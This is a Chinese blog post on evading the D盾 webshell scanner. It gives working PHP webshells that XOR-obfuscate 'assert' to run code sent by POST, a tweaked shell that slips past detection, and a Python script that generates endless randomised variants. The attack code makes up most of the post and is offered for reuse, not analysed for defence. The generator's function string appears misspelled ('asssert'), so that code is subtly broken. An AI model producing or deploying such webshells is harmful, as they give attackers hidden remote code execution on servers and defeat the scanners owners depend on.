随机异或无限免杀D盾之再免杀

qianxiao996 2019-11-22 PM 37℃ 0条

        观摩大佬的文章后,想着把大佬写好的脚本copy下来,利用一翻,结果很遗憾的是报错了。。(可能是我比较菜)

随之,自己研究了一番,发现D盾查杀木马查的是__destruct函数,以下为yzddmr6大佬的脚本生成的马,目前D盾直接5级,已经无法过D盾。

<?phpclass PXGF{    
    function __destruct(){
        $RAFH='slvf*o'^"x12x1fx5x3x58x1b";        
        return @$RAFH("$this->WSXP");
    }
}
$pxgf=new PXGF();
@$pxgf->WSXP=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

image.png

当改掉__destruct函数名时,完全过D盾。

自己修修补补便出现了以下代码

<?php
class AEVS{
    function LYUG(){
        $KHWP= '^!CZw%>'^"\x3f\x52\x30\x29\x12\x57\x4a";
        return @$KHWP;
    }
    function HWTD($PLEN)
    {
        return $PLEN;
    }
}
$ZRAD=new AEVS();
$PGQU =  $ZRAD->LYUG();
$JTQV = $ZRAD -> HWTD("$_POST[996]");
@$PGQU($JTQV);
?>

发现可以免杀D盾。无限生成脚本如下

import random
func1='asssert'


def xor(c1,c2):
    return hex(ord(c1)^ord(c2)).replace('0x',r"\x")


def random_keys(len):
    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))


def gen_payload(func):
    func_line1 = ''
    func_line2 = ''
    key = random_keys(len(func))
    for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line1 += key[i]
        func_line2 += enc
    payload = '\'{0}\'^"{1}"'.format(func_line1,func_line2)
    return payload
def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))   


shell_form='''
<?php
class %s{
    function %s(){
        $%s= %s;
        return @$%s;
    }
    function %s($%s)
    {
        return $%s;
    }
}
$%s=new %s();
$%s =  $%s->%s();
$%s = $%s -> %s("$_POST[996]");
@$%s($%s);
?> 
'''

def gen_webshell():
    class_name = random_name(4)
    func_name1= random_name(4)
    func_name2= random_name(4)
    func=gen_payload(func1)
    var_name1=random_name(4)
    var_name2=random_name(4) 
    var_name3=random_name(4)
    var_name4=random_name(4)
    var_name5=random_name(4)
    webshell=shell_form%(class_name,func_name1,var_name1,func,var_name1,func_name2,var_name2,var_name2,var_name3,class_name,var_name4,var_name3,func_name1,var_name5,var_name3,func_name2,var_name4,var_name5)
    print(webshell)


gen_webshell()

https://www.anquanke.com/post/id/193042

https://github.com/yzddmr6/webshell-venom

不吃php7.0以上版本

标签: none

评论啦~


icon_mrgreen.pngicon_neutral.pngicon_twisted.pngicon_arrow.pngicon_eek.pngicon_smile.pngicon_confused.pngicon_cool.pngicon_evil.pngicon_biggrin.pngicon_idea.pngicon_redface.pngicon_razz.pngicon_rolleyes.pngicon_wink.pngicon_cry.pngicon_surprised.pngicon_lol.pngicon_mad.pngicon_sad.pngicon_exclaim.pngicon_question.png